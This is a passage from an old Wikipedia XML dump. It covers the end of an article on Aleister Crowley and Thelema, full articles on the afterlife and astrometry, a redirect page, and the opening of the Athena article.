Crowley claimed to use a [[scientific method]] to study what people at the time called &quot;spiritual&quot; experiences, making &quot;The Method of Science, the Aim of Religion&quot; the catchphrase of his magazine ''The Equinox''. By this he meant that mystical experiences should not be taken at [[face value]], but critiqued and experimented with in order to arrive at their underlying religious meaning. In this he may be considered to foreshadow Dr. [[Timothy Leary]], who at one point sought to apply the same method to [[psychedelic drug]] experiences. Yet like Leary's, Crowley's method has received little &quot;scientific&quot; attention outside the circle of Thelema's practitioners.

Crowley's magical and initiatory system has amongst its innermost reaches a set of teachings on sex &quot;magick.&quot; He frequently expressed views about sex that were radical for his time, and published numerous poems and tracts combining pagan religious themes with sexual imagery both heterosexual and homosexual.

[[Sex Magick]] is the use of the sex act—or the energies, passions or arousal states it evokes—as a point upon which to focus the will or magical desire for effects in the non-sexual world. In this, Crowley was inspired by [[Paschal Beverly Randolph]], an American author writing in the [[1870s]] who wrote (in his book ''Eulis!'') of using the &quot;nuptive moment&quot; (orgasm) as the time to make a &quot;prayer&quot; for events to occur.

==Women==

During March [[1899]] Crowley met, at one of the semi-public performances of MacGregor Mathers' [[Rites of Isis]], an American [[soprano]] by the name of [[Susan Strong]] ([[3 August]], [[1870]] - [[11 March]], [[1946]]). Susan was the daughter of [[Dennis Strong]], an American Congressman and mayor of [[Brooklyn]]. She had gone to the [[United Kingdom|UK]] at the age of 21 and had enrolled in the [[Royal College of Music]], [[London]] under the tutelage of the famous Hungarian musician [[Francis Korbay]]. Crowley met up with her again in London when she sang the part of Venus in ''[[Tannhäuser (Wagner)|Tannhäuser]]'' on [[22 June]] [[1899]]. A torrid romance followed during which Susan swore to divorce her American husband and devote herself to Crowley.  However on her return to the US, around October [[1899]], she apparently cooled in ardour.  Crowley followed her to [[New York]] in June of the following year, but by then she was already on her way back to the [[United Kingdom|UK]] to appear in performances of the [[Royal Opera House]], [[Covent Garden]]. During [[1900]], while in Mexico City, Crowley experienced an [[epiphany (feeling)|epiphany]], during which he transcribed his play, titled ''[[Tannhäuser]]''.  He attributed the inspiration of this play to his romance with Susan Strong.

==Thelema==
*''see also [[Thelema]]''

The religious or mystical system which Crowley founded, into which most of his writings fall, he named '''[[Thelema]]'''.  Thelema combines a radical form of philosophical [[libertarianism]], akin in some ways to [[Friedrich Nietzsche|Nietzsche]], with a mystical initiatory system derived in part from the [[Hermetic Order of the Golden Dawn|Golden Dawn]]. 

Chief among the precepts of Thelema is the [[sovereignty of the individual]] will: &quot;Do what thou wilt shall be the whole of the Law.&quot; Crowley's idea of ''will,'' however, is not simply the individual's desires or wishes, but also incorporates a sense of the person's destiny or greater purpose: what he termed the &quot;Magick Will.&quot; Much of the initiatory system of Thelema is focused on discovering one's true will, true purpose, or [[higher self]]. Much else is devoted to an Eastern-inspired dissolution of the individual [[ego]], as a means to that end (see [[Choronzon]]).

The second precept of Thelema is &quot;Love is the law, love under will&quot; — and Crowley's meaning of &quot;Love&quot; is as complex as that of &quot;Will&quot;. It is frequently sexual: Crowley's system, like elements of the Golden Dawn before him, sees the dichotomy and tension between the male and female as fundamental to existence, and sexual &quot;magick&quot; and metaphor form a significant part of Thelemic ritual.

Thelema draws on numerous older sources and, like many other [[new religious movement]]s of its time, combines &quot;Western&quot; and &quot;Eastern&quot; traditions. Its chief Western influences include the Golden Dawn and elements of [[Freemasonry]]; Eastern influences include aspects of [[yoga]], [[Taoism]], [[Kabbalah]] and [[Tantra]].

==Writings==
Within the subject of occultism Crowley wrote widely, penning commentaries on the [[Tarot]] ''([[The Book of Thoth]])'', [[yoga]] ''(Book Four)'', the [[Kabbalah]] ''(Sepher Sephiroth)'', [[astrology]] ''(The General Principles of Astrology)'', and numerous other subjects. He also wrote a Thelemic &quot;translation&quot; of the ''[[Tao Te Ching]]'', based on earlier English translations since he knew little or no Chinese. Like the Golden Dawn mystics before him, Crowley evidently sought to comprehend the entire human religious and mystical experience in a single philosophy. He self-published many of his books, expending the majority of his inheritance to disseminate his views. Many of his fiction works, such as the &quot;Simon Iff&quot; detective stories and ''[[Moonchild]]'' have not received significant notice outside of occult circles. However his fictional work ''[[Diary Of A Drug Fiend]]'' has received acclaim from those involved in the field of [[substance-abuse rehabilitation|substance abuse rehabilitation]].

Crowley's most grandiose work is ''[[The Equinox]]'', a large bi-annual periodical that served as the official organ of the [[Argenteum Astrum]] (A∴A∴), and, later, the [[O.T.O.]] It was subtitled &quot;The Review of Scientific Illuminism&quot; and remains one of the definitive works on [[occultism]].

Crowley's other major works include:
* ''[[The Book of Lies]]''
* ''[[The Holy Books of Thelema]]''
* ''[[Konx om Pax]]''

He also wrote a short, highly readable introduction to [[yoga]] (''Eight Lectures on Yoga'') and a [[polemic]] arguing against [[George Bernard Shaw]]'s interpretation of the [[Gospels]] in his preface to ''[[Androcles and the Lion]]''. Crowley's piece was edited by [[Francis King]] and published as ''Crowley on Christ'', and shows him at his erudite and witty best.

Crowley had a peculiar sense of humour. In his ''Book Four'' he includes a chapter purporting to illuminate the Qabalistic significance of [[Mother Goose]] [[nursery rhyme]]s. ''In re'' [[Humpty Dumpty]], for instance, he recommends the occult authority &quot;Ludovicus Carolus&quot; -- better known as [[Lewis Carroll]]. In a footnote to the chapter he admits that he had invented the alleged meanings, to show that one can find occult &quot;Truth&quot; in everything. The title to chapter [[69 (number)|69]] is given as &quot;The Way to Succeed - and the Way to Suck Eggs!&quot; a pun, as the chapter concerns the [[69 sex position]] as a mystical act.

Many Crowley biographies relate the story of [[L. Ron Hubbard]] and [[Jack Parsons]] and their attempt to create a &quot;moonchild&quot; (from Crowley's novel of that name). In Crowley's own words, &quot;Apparently Parsons and Hubbard or somebody is producing a moonchild. I get fairly frantic when I contemplate the idiocy of these louts.&quot;  Clearly the admiration Hubbard had for Crowley was not reciprocated.

More famously still, he baited [[Christianity|Christians]] by naming himself [[To Mega Therion]], or &quot;The Great Beast&quot; of the [[Book of Revelation]].

Crowley was also a published, if minor, poet. He wrote the [[1929]] ''Hymn to Pan'' [http://www.paganlibrary.com/music_poetry/crowleys_pan_invocation.php], perhaps his most widely read and anthologized poem. Three pieces by Crowley, &quot;The Quest [http://www.bartleby.com/236/314.html]&quot;, &quot;The Neophyte [http://www.bartleby.com/236/315.html]&quot;, and &quot;The Rose and the Cross [http://www.bartleby.com/236/316.html]&quot;, appear in the [[1917]] collection ''[[The Oxford Book of English Mystical Verse]]''.  Crowley's unusual sense of humour is on display in ''White Stains'' [http://www.rahoorkhuit.net/library/crowley/stain.html], an [[1898]] collection of [[pornography|pornographic]] verse pretended to be &quot;the literary remains of George Archibald Bishop, a neuropath of the Second Empire;&quot; the volume is prefaced with a notice that says that &quot; The Editor hopes that Mental Pathologists, for whose eyes alone this treatise is destined, will spare no precaution to prevent it falling into other hands.&quot;

==Miscellany==
*Crowley also tried to mint a number of new terms instead of the established ones he felt inadequate. For example he spelled [[magic (paranormal)|magic]] &quot;[[magick]]&quot; and renamed [[theurgy]] &quot;high magick&quot; and [[thaumaturgy]] &quot;low magick&quot;.

*&quot;In World War I Aleister Crowley ingratiated himself with a Hermetic sect in order to reveal to the Americans that its head was a highly dangerous German agent. In World War II it was well known in British Intelligence that many leading Nazis were interested in the occult and especially in astrology. Crowley did some work for [[MI5]], but his project for dropping occult information by leaflet on the enemy was rejected by the authorities.&quot; - Richard Deacon, Spyclopaedia

==Crowley in popular culture==
:''See [[Crowley in popular culture]]''

==See also==
* The [[Hermetic Order of the Golden Dawn]]
* [[Homunculus]]
* [[Argenteum Astrum]] (A∴A∴)
* [[Ordo Templi Orientis]]
* [[William Breeze]]
* [[The Equinox]]
* [[Thoth Tarot]]
* [[Thelemapedia]]
* [[Grady McMurtry]]
* [[Jack Parsons]]
* [[Lon Milo Duquette]]

==References==
* Carroll, Robert Todd (2004). &quot;[http://skepdic.com/crowley.html Aleister Crowley (1875-1947)]&quot;. The Skeptic's Dictionary. Retrieved [[30 December]] [[2004]].
* Crowley, Aleister(1990) &quot;[http://deoxy.org/taowley.htm The Tao Teh King, Liber CLVII: THE EQUINOX Vol. III. No. VIII. ASCII VERSION]&quot;. Retrieved [[30 December]] [[2004]].
* [http://www.egnu.org/thelema/ Free Encyclopedia of Thelema] (2005). 
* [http://www.egnu.org/thelema/index.php/The_Equinox The Equinox]. Retrieved [[24 March]] [[2005]].
* A biography of Crowley by Lawrence Sutin, ''Do What Thou Wilt'' (2000) ISBN 0312288972.

==External links==
{{wikiquote}}
{{Wikisource author}}
*http://www.aleistercrowley.com/
* {{gutenberg author| id=Aleister+Crowley | name=Aleister Crowley}}
*[http://www.93beast.fea.st/files/ The most complete resource for books of Crowley in PDF format]
*[http://www.newaeonfilms.com A site dedicated to a film being made on Crowley's life]
*[http://altreligion.about.com/library/faqs/bl_crowleyfaq.htm Crowley Controversy FAQ]
*[http://www.thelemapedia.org/index.php/Aleister_Crowley Aleister Crowley on Thelemapedia]
*[http://www.rotten.com/library/bio/religion/aleister-crowley/ Aleister Crowley - The Rotten Library] 
*[http://www.rinf.com/e-books/Aleister-Crowley.html Aleister Crowley Ebooks]
*[http://www.oxygenee.com/absinthe-BOOKS10.html Aleister Crowley and the Green Goddess]

[[Category:1875 births|Crowley, Aleister]]
[[Category:1947 deaths|Crowley, Aleister]]
[[Category:Astrologers|Crowley, Aleister]]
[[Category:Bisexual writers|Crowley, Aleister]]
[[Category:British chess players|Crowley, Aleister]]
[[Category:English astrologers|Crowley, Aleister]]
[[Category:English mountain climbers|Crowley, Aleister]]
[[Category:English novelists|Crowley, Aleister]]
[[Category:English occultists|Crowley, Aleister]]
[[Category:Freemasons|Crowley]]
[[Category:Hermeticism|Crowley, Aleister]]
[[Category:Lesbian, gay, bisexual, or transgender people|Crowley, Aleister]]
[[Category:Occultists|Crowley, Aleister]]
[[Category:Thelema|Crowley, Aleister]]

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  </page>
  <page>
    <title>Afterlife</title>
    <id>1178</id>
    <revision>
      <id>41839865</id>
      <timestamp>2006-03-02T02:05:47Z</timestamp>
      <contributor>
        <username>ZAROVE</username>
        <id>446619</id>
      </contributor>
      <comment>/* Logical arguments */ Most religions do not assert this.</comment>
      <text xml:space="preserve">:''For the Japanese film, see [[After Life]]. For the British television drama, see [[Afterlife (television)]]. For the PC game see [[Afterlife (game)]].''

The '''afterlife''' (or '''life after death''') is a generic term referring to a '''continuation''' of [[existence]], typically [[spirituality|spiritual]] and experiential, beyond this world, or after death.  This article is about current generic and widely held or reported concepts of afterlife.  ''See also: [[Underworld]], for a comprehensive catalog of specific traditions about afterlife.''

==Afterlife as a belief==
Many people believe in an afterlife. It is generally described as a non-verifiable and non-falsifiable [[belief]] within a [[religion]], because it is generally accepted as beyond the experiential knowledge or casual accessibility of most people (see [[esoteric knowledge]]).  As a result, the popular mind relies on various sources for concepts about afterlife, arranged below in presumed order of reliability:
*Testimony of individuals who claim experiential knowledge of facets of afterlife
**by having died and then been sent back to this life ([[near-death experience]]s)
**by having visited the afterlife during a period of unconsciousness ([[out-of-body experience]]s)
**by having seen the afterlife during a revelatory vision
**by a unique personal gift of remembering an afterlife (before-life) existence
**by having communicated with (or received a message from) someone who has passed over ([[after death communication]] or [[electronic voice phenomenon|electronic voice phenomena]])
*Testimony of individuals who are presumed to have special insights into the afterlife
**holy ones
**miracle workers
**spectacular converts
*Claimed testimony of visitors from the afterlife
**God
**Angels
**Spirits
*Human intuitions of goodness assumed to emanate from the afterlife
*Speculation and extrapolation
*Concoction

While there is information available from all of the above sources, a preponderance of concoctions, speculations, and extrapolations have arguably historically characterized formal descriptions of afterlife.   Religious traditions have historically formalized and codified ideas about afterlife in widely divergent forms.  Though the onset of the [[information age]] is bringing to light increasing consistency and uniformity of beliefs about afterlife from across and without religious boundaries, most afterlife conceptions continue to follow traditional descriptions, often viewed as rationally weak by skeptics who -- particularly [[atheism|atheists]] and [[agnosticism|agnostics]] of a secular humanist mindset -- may hold that we entirely cease to exist.  However, it should be pointed out that not all atheists and agnostics necessarily rule out the existence of an afterlife. For example, many [[buddhism|Buddhists]] neither confirm nor deny the existence of the supernatural (gods, demons, heavens, hells, etc.), while simultaneously embracing the concept of [[rebirth (Buddhist)|rebirth]].

For those who do believe in an afterlife, the various conceptions about it differ in their answer to the following questions:

* Is the afterlife a normal life, or a different type of existence?
* Are afterlife conditions a consequence of good and bad actions during life?
* Is afterlife eternal?
* Is it possible to reincarnate as a human or other form of life?
* What happens at the moment of death?
* Are [[ghost]]s and other [[undead]] a proof of an afterlife?

==Afterlife as an individual existence==
For an afterlife to exist, there must be something that survives the body when death occurs. This something is usually believed to be extraphysical and is usually called [[soul]] or spirit. Philosophers have long debated whether such an extraphysical substance can exist; see [[Mind-body problem]].

== Afterlife as reward or punishment ==
One notion of afterlife which is common to [[Judaism]] (see [[Jewish eschatology#The afterlife and olam haba (the world to come)|the afterlife and ''olam haba'' [&quot;world to come&quot;] ]]), most sects of [[Christianity]], and [[Islam]] is that human [[soul]]s go on for [[eternity]] to a place of [[happiness]] or [[torment]], such as [[heaven]], [[hell]], or [[purgatory]] or [[limbo]].  

Many [[religion|religions]] hold that after death people get reward or punishment based on their deeds or faith.

The [[Christian Bible]], for example, contains the words of Jesus: &quot;The measure you give will be the measure you get.&quot; ([[Gospel of Mark|Mark]] 4:24).

Some Christians, however, assert that Christianity does not hold to the doctrine that entry into Heaven can be earned, rather that it is a gift that is solely God's to give.  A common line of reasoning for this is as follows: The Christian Bible states that &quot;all have sinned and fall short of the glory of God,&quot; ([[Epistle to the Romans|Romans]] 3:23) meaning nobody has ever managed to live their life without sinning at least once, and this precludes any sort of afterlife reward.   Furthermore, &quot;the wages of sin is death...the gift of God is eternal life in Jesus Christ our Lord.&quot; ([[Epistle to the Romans|Romans]] 6:23)  &quot;Eternal life&quot; is traditionally accepted to mean life in Heaven, after death.  These passages lead some to believe that Christianity may be the only religion that does not hold to the doctrine that entry into Heaven can be earned, as nobody could ever earn it, and it is a gift that is solely God's to give.

For many, belief in an afterlife is a consolation in connection with death of a beloved one or the prospect of one's own death. On the other hand, [[fear]] of hell etc. may make death worse.

In the informal folk beliefs of many Christians, the souls of virtuous people ascend to Heaven and are converted into [[angels]] upon their deaths. However, a more literal reading of scripture suggests that the dead wait until the [[Last Judgment]], which is followed by resurrection for the faithful.  More formal Christian theology makes a sharp distinction between ''angels'', who were created by [[God]] before the creation of humanity, and ''saints'', who are virtuous people who have received immortality from the grace of [[God]].

In view of the eternity of afterlife, some consider regular life as relatively unimportant, except for determining whether afterlife follows, and/or what kind. It is just a provisional situation, and the [[metaphor]] of a [[tent]] as provisional housing facility is used as quoted below:

:''For we know that if our earthly house of this [[tabernacle]] were dissolved, we have a [[building]] of God, a [[house]] not made with hands, eternal in the heavens.''(Bible, 2 Corinthians 5:1)

In what we know of [[Egyptian religion]], afterlife is very important.
The believer had to act well and know the rituals explained in the [[Egyptian Book of the Dead]].
If the corpse was properly [[embalm]]ed and entombed in a [[mastaba]], the defunct would relive in the [[Fields of Yalu]] and accompany the Sun god on its daily ride.
If, during the [[psychomachia]], the souls&lt;!-- ka or ba? --&gt; of the defunct were found faulty, the [[Devourer]] monster would eat them.

Others, including some Universalists, believe in [[universalism]] which holds that all will eventually be rewarded regardless of what they have done or believed.

Life after death, however, is in no way a universal belief; for example, Jehovah's Witnesses interpret Ecclesiastes 9:5 as precluding an afterlife:

:''For the living know that they shall die: but the dead know not any thing, neither have they any more a reward;for the memory of them is forgotten.''

They believe that a resurrection in the flesh at some future date will be a reward and that death (non-existence) is a punishment.

== Afterlife as reincarnation ==
Another afterlife concept which is found among [[Hinduism|Hindus]], [[Buddhism|Buddhists]], and [[Wicca|Wiccans]] is [[reincarnation]], whether as humans, [[animal]]s, or as spiritual beings. One consequence of the Hindu and Buddhist beliefs is that our current lives are also an afterlife, and both Hindus and Buddhists interpret events in our current life as being consequences of actions taken in previous lives, or [[Karma]].

Some [[Neopaganism|Neopagans]] believe in personal reincarnation, whereas some believe that the energy of one's soul reintegrates with a continuum of such energy which is recycled into other living things as they are born.

== Afterlife and modern science==
Other conceptions of an afterlife do not depend as heavily on [[religion]].  Certain scientific fields developed in the [[20th century|20th]] and [[21st century|21st centuries]], that were previously either unknown or purely theoretical, support interesting speculation and questions regarding the afterlife.

For instance, the [[special theory of relativity]], known to many people at least in part through its most famous [[equation]] ([[Energy|E]]=[[mass|m]][[speed of light|c]]²), implies that neither [[matter]] nor [[energy]] can be created nor destroyed.  This implies that the fundamental quantities that our [[brain]]s are comprised of cannot actually be destroyed.  However, it is certainly observed that the specific composition of those quantities which produces the [[electromagnetic]] [[Electric current|current]]s and [[field (physics)|fields]] thought to comprise [[consciousness]] and [[cognition]] do change after death to forms that no longer produce these currents and fields, which presents the question:  Is consciousness a sole result of the specific configuration of matter of a living brain, or do some forms of consciousness or experience remain present in the matter and energy that used to be a living brain?  If the latter is true, even in part, then it is not certain that the subjective experience of a being's consciousness ends at the time of death, which could be strongly interpreted as a form of afterlife.

Also, the nature of consciousness and [[sentience]] itself is a subject of wide debate, and not agreed upon by any means.  The emerging field of [[cognitive science]] attempts to study the nature of consciousness, sentience, and cognition.  It is now possible to study the brain at moments closer to death than ever before, which may lead to insights regarding the cesstion of cognition, and possibly even insights into the subjective experience of consciousness at those times.  Greater understanding of these concepts, and the processes that produce them, might have wide-ranging consequences for conceptions of an afterlife.

In a social-sciences sense, the increasing globalization of the world has exposed many people to new religions and [[philosophy|philosophies]].  While the major monotheistic religions of the world ([[Judaism]], [[Christianity]], [[Islam]], and their offshoots) almost universally preach some form of [[Cartesian dualism|mind-body dualism]], many &quot;Eastern&quot; religions, such as the many branches of [[Buddhism]] and [[Taoism]] do not contain any such claims, and may in fact preach ideologies that are opposed to it.  [[Zen Buddhism]] in particular is famous for [[koan]]s and parables that are meant to teach that the nature of consciousness is transient and/or [[illusion|illusory]], with some schools going so far as to say that even the concept of a &quot;self&quot; is fundamentally flawed.  Philosophical conceptions such as these, which reject mind-body dualism and contain ideas of life and existence separate from a &quot;self&quot; or unique [[soul]], remove in large part one of the major criticisms of scientific individuals regarding the afterlife - namely, that an individual must have a soul in order to experience consciousness after death.  

The emerging field of [[artificial intelligence]] in [[computing]] presents interesting questions regarding an experience of afterlife, as well:  If a [[robot]] is created which possesses cognition and problem-solving comparable to a human, is that robot considered conscious or &quot;alive&quot;?  If so, can he, she, or it &quot;die&quot;?  The memories of such robots, if they are ever constructed, could theoretically be composed of some form of electronic storage and stored on devices identical in purpose to modern [[hard drive]]s, which can be completely copied in a matter of seconds or hours.  If a [[backup]] is made of such a theoretical robot's memory at some point, and that robot's current memory then is damaged, destroyed, or rendered inoperable, and then restored from the backup, in what sense, if any, does the newly restored robot's experience constitute [[resurrection]] - especially if, for instance, a [[wireless network]] is used to back up the robot's memory to the exact moment of destruction?  Assuming that artificial intelligence [[research]] continues at the rapid pace it has shown so far, these and related questions may become quite meaningful in the future.

Finally, though it is not a traditional conception of an afterlife by any means, one particular (and controversial) interpretation of [[quantum physics]] actually implies that a conscious soul may be [[immortal]] in a certain sense - see [[quantum immortality]].  (Though, admittely, in this theory, the organism does not strictly ever &quot;die&quot;, so the term &quot;afterlife&quot; may be inappropriate.)

==Related studies==
In philosophy, the study of views of the afterlife is a concern of [[Eschatology]], which deals with the soul, the [[resurrection]] of the dead, the messianic era, and the end of the world. 

The question of whether there is life after death is closely related to [[the mind-body problem]], and like that problem is one of the classic problems of so-called [[rational psychology]] and hence of one (now largely outdated) notion of the scope of [[metaphysics]].

The later works of [[Emanuel Swedenborg]] present one of the most comprehensive and systematic descriptions of the spiritual world, including [[heaven]] and [[hell]].

==Criticism==
Upon death, [[brain]] activity ceases and a person's body begins to [[decompose]].  This marks the end of the individual's [[mind]] in the physical world.  The fundamental belief of an afterlife is that there exists a non-physical means (a soul or spirit) for the mind to survive the brain's destruction and continue to function in a non-physical world.

[[Occam's Razor]] is used by skeptics as a counter to this belief.  There are two basic alternatives to be compared:

*When you die, your mind ceases to function and your body decomposes.
*When you die, your mind continues to function despite the physical destruction of your brain, continuing its existence in a non-physical world.

The first belief is simple and well-supported.  Much available scientific evidence indicates that the mind is the product of the brain's activity, and that destruction of the brain also destroys the mind.  Therefore, some people conclude that believing in an afterlife (at least in a logically-consistent way) requires the additional [[assumption]]s that:

*There exists a non-physical entity associated with a person (the soul or spirit).
*The mind can continue to operate in the absence of the brain, being somehow supported by the soul.
*The soul exists in a non-physical [[Plane (cosmology)|dimension]] that we are unable to perceive in a measurable way.

Despite there being some objective evidence to support these beliefs, skeptics assert that science cannot prove the existence of an afterlife. The fact that these beliefs are nevertheless widely held may be explained by [[wishful thinking]].

Humans instinctively fear death as we know that our eventual deaths are inevitable.  Therefore it is unsurprising that a belief system which promises an escape from death would be strongly embraced.  People often suspend their better judgment when presented with &quot;too good to be true&quot; promises (consider [[Advance fee fraud|Nigerian scams]] and similar instances of fraud), and an escape from death is considered by some to be the ultimate promise.

The philosophical belief of [[materialism]] holds that only the physical universe exists.  Though not all materialists would argue that this precludes belief in an afterlife, a great number of them do hold this viewpoint.  [[Atheism]] and materialism are closely related, and most atheists do not believe in any sort of afterlife.  

=== Logical arguments ===
If one accepts the afterlife, one also has to accept the concept of a [[soul]], since when someone dies, the physical body [[decompose]]s. Some religions assert that only humans have a soul (although some religions say that some other life forms, such as animals, also do). The question remains as to why would monkeys, which have been shown to be intelligent, not have a soul while humans would. Also, since at the [[subatomic]] level, all things are made of the same elements, why would other animals, plants--or even rocks--not have a soul? If intelligence is the criteria to have a soul, where would the line be drawn as far as mentally challenged people, or very smart animals? (This topic appears often in the work of [[Peter Singer]])

Another argument is that historically, many religions consider women lower than men in many walks of life. These discriminatory themes were also applied against black people in [[USA|America]], or earlier against [[Muslim]]s during the [[crusade]]s, where some human beings were described as having no soul, or going straight to [[Hell]]. It therefore seems that each argument, while based on a sacred ancient text of some sort (the [[Bible]], the [[Qur'an]], etc), are adapted to fit the modern world.{{fact}}

A last logical argument is that if all humans have an afterlife, and go to [[Heaven]] or [[Hell]], then their behavior in those places may be [[determinism|determined]], rather than willfully exerted. People either have free will, or don't. Free will is considered by many to be necessary to have a soul. If they do, then surely there should be evil in Heaven, and good in Hell.

=== Philosophical arguments ===

Some non-believers in an afterlife, influenced by [[positivism (philosophy)]], have argued that claims of an afterlife are [[unverifiable]] and [[unfalsifiable]], and therefore cognitively [[meaningless]]. Some have argued that, on the contrary, particular claims concerning the nature of the afterlife are verifiable and falsifiable: all one has to do to verify/falsify them is die. On the other hand, they argue, the belief in the absence of an afterlife can be attacked as vacuous on the grounds that the statement &quot;I cease to exist&quot; is unverifiable, unfalsifiable, and therefore by the same token cognitively meaningless. In particular, the concept of our own non-existence is inconceivable (what experience corresponds to your own non-existence? none.)

Other philosophical issues about the idea of an afterlife can be expressed in thought experiments. Johnny is shot and ceases existence for five minutes ( allow, for the sake of the thought experiment, regardless of your beliefs, that he does not experience any form of afterlife in this time.) Then, five minutes later Johnny is cloned, an exact replica is made, possessing all of the factual knowledge, beliefs, values, intentional states and emotions etc he had at the time of death. Is this being the same Johnny that was killed? The result of this thought experiment is arguably very important to some religious groups.

Now, imagine that in accordance with the doctrines of some religious groups, that a person X dies and is ressurected after a period of death and essential non-existence (lack of awareness). Is this X the same X that died? The issue at stake is essentially whether identity is continuity over time, or a set of traits, i.e complexes of memory, personality, a soul etc.

==See also== 
{{col-begin}}
{{col-break}}
* [[Akhirah]]
* [[Animism]]
* [[Atheism]]
* [[Death]]
* [[Doomsday]]
* [[Electronic voice phenomenon]]
* [[Elysium]]
* [[Enlightenment (concept)|Enlightenment]]
* [[Eschatology]]
* [[Eternity]]
* [[Ghost]]s
* [[Heaven]]
* [[Hell]]
{{col-break}}
* [[Immortality]]
* [[Jewish eschatology]]
* [[Life]]
* [[Near-death experience]]
* [[Out-of-body experience]]
* [[Pre-Birth communication]]
* [[Reincarnation]]
* [[Salvation]]
* [[Soul]]
* [[Undead]]
* [[Valhalla]]
{{col-end}}

==External links==
*[http://www.victorzammit.com/ A Lawyer Presents the Case for the Afterlife]
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-76 Dictionary of the History of Ideas: ''Death and Immortality'']
*[http://www.spiritualtravel.org/OBE/afterdeath.html A Tibetian Buddhist View of the Afterlife]
*[http://www.unexplainedstuff.com/Afterlife-Mysteries/index.html Encyclopedia of Afterlife Theories]
*[http://www.near-death.com/ Near-Death Experiences and the Afterlife]
*[http://www.infidels.org/library/modern/michael_martin/heaven.html Common problems with the concept of Heaven]
*[http://www.amazon.com/gp/product/0465024602/002-4685174-0810466?n=283155 The Problem of the Soul: Two Visions of Mind and How to Reconcile Them (Hardcover)]
*[http://sedna.no.sapo.pt/death_scresearch/index.htm International Scientific Research into 'the Survival after physical death']


[[Category:Religious philosophy and doctrine]]
[[Category:Death]]
[[Category:Jewish mysticism]]
[[Category:Christian eschatology]]
[[Category:Life after death]]

[[de:Ewiges Leben]]
[[es:Más allá]]
[[fr:Vie éternelle]]
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[[ja:来世]]
[[simple:Afterlife]]
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[[vi:Thế giới sau khi chết]]</text>
    </revision>
  </page>
  <page>
    <title>Admiral Doenitz</title>
    <id>1179</id>
    <revision>
      <id>15899678</id>
      <timestamp>2003-06-06T01:31:54Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Karl Dönitz]]</text>
    </revision>
  </page>
  <page>
    <title>Astrometry</title>
    <id>1181</id>
    <revision>
      <id>41673112</id>
      <timestamp>2006-02-28T23:54:46Z</timestamp>
      <contributor>
        <ip>62.104.129.223</ip>
      </contributor>
      <text xml:space="preserve">{{unsourced}}

[[Image:Interferometric astrometry.jpg|thumb|right|300px|Illustration of the use of optical wavelength interferometry to determine precise positions of stars.  ''Courtesy NASA/JPL-Caltech''.]]

'''Astrometry''' is a branch of [[astronomy]] that deals with the positions of [[star]]s and other [[celestial body|celestial bodies]], their distances and movements.

It is one of the oldest subfields of the [[science]], the successor to the more qualitative study of [[positional astronomy]]. Astrometry dates back at least to [[Hipparchus (astronomer)|Hipparchus]], who compiled the first [[Star catalogue|catalogue of stars]] visible to him and in doing so invented the [[Apparent magnitude|brightness scale]] basically still in use today. Modern astrometry was founded by [[Friedrich Bessel]] with his ''Fundamenta astronomiae'', which gave the mean position of 3222 stars observed between 1750 and 1762 by [[James Bradley]].

Apart from the fundamental function of providing [[Astronomer]]s with a [[reference frame]] to report their observations in, astrometry is also fundamental for fields like [[celestial mechanics]], [[stellar dynamics]] and [[galactic astronomy]]. In [[observational astronomy]], astrometric techniques help identify stellar objects by their unique motions. It is instrumental for keeping [[time]], in that [[Coordinated Universal Time|UTC]] is basically the [[International Atomic Time|atomic time]] synchronized to [[Earth]]'s rotation by means of exact observations. Astrometry is also involved in creating the [[cosmic distance ladder]] because it is used to establish [[parallax]] distance estimates for stars in the [[Milky Way]].

== Advances in astrometry ==

* [[Sundial]]s were effective at measuring time.
* [[Astrolabe]]s were invented for measuring celestial angles.
* Astrometric applications led to the development of [[spherical geometry]]
* Careful measurement of [[planetary motion]]s by [[Tycho Brahe]], followed by analysis by [[Johannes Kepler]] proved the [[Copernican principle]], that Earth revolves about the [[Sun]].
* The [[sextant]] dramatically improved measurement of celestial [[angle]]s.
* [[James Bradley]] measured [[aberration of light|stellar aberration]] with a precise transit telescope.
* The development of [[charge coupled device]]s (CCDs), and their adoption by astronomers in the 1980s, improved the precision of professional  astrometric work.
* The development of inexpensive CCDs, software, and telescopes allowed for large-scale [[amateur astronomy|amateur astrometric]] observation of [[minor planet]]s.
* From 1989 to 1993, the European Space Agency's [[Hipparcos]] satellite performed astrometric measurements resulting in a catalogue of positions accurate to 20-30 milliarcsec for over a million stars.

Astronomers use astrometric techniques for the tracking of [[near-Earth objects]]. It has been also been used to detect [[extrasolar planets]] by measuring the displacement they cause in their parent star's apparent position on the sky, due to their mutual orbit around the center of mass of the system.  NASA's planned [[Space Interferometry Mission]] ([[SIM PlanetQuest]]) will utilize astrometric techniques to detect [[terrestrial planets]] orbiting 200 or so of the nearest [[solar-type stars]].

Astrometric measurements are used by [[astrophysicist]]s to constrain certain models in [[celestial mechanics]].  By measuring the velocities of [[pulsar]]s, it is possible to put a limit on the [[asymmetry]] of [[supernova]] explosions. Also, astrometric results are used to determine the distribution of [[dark matter]] in the galaxy.

== Astrometrics ==

'''Astrometrics''' is the [[science]] of [[star|stellar]] [[measurement]]s and [[motion]]. Astrometrics was used, during the [[1990]]s, to detect [[extrasolar planet|extrasolar]] [[gas giant]]s [[orbit]]ing various [[solar system]]s. This was done by observing the &quot;[[stellar wobble]]&quot; of a star and calculating what kinds of [[gravity|gravitational]] [[force]]s would cause such motion; it was then determined that [[planet]]ary forces must be affecting the stars in question.

== Other references ==

In the [[fiction]]al ''[[Star Trek: Voyager]]'', the '''Astrometrics''' lab is the [[set (drama)|set]] for various [[scene]]s.

== See also ==

* [[Astrometric binary]]
* [[Ephemeris]]
* [[Gaia probe|Gaia Probe]] (ESA -- Planned for 2009-14)
* [[Hipparcos|Hipparcos Space Astrometry Mission]] (ESA -- 1989-93)
* [[Spherical astronomy]]

{{Astronomy-footer}}

[[Category:Astrometry| ]]
[[Category:Astronomy]]

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[[id:Astrometri]]
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[[ru:Астрометрия]]
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[[fi:Astrometria]]</text>
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  </page>
  <page>
    <title>Athena</title>
    <id>1182</id>
    <revision>
      <id>41950341</id>
      <timestamp>2006-03-02T21:01:09Z</timestamp>
      <contributor>
        <ip>172.160.197.182</ip>
      </contributor>
      <comment>/* Erichthonius */</comment>
      <text xml:space="preserve">:''This article is about the goddess Athena. For other uses see [[Athena (disambiguation)]].''

[[Image:Athena.png|right|thumb|200px|Drawing from a sculpture of Athena at the Louvre.]] 

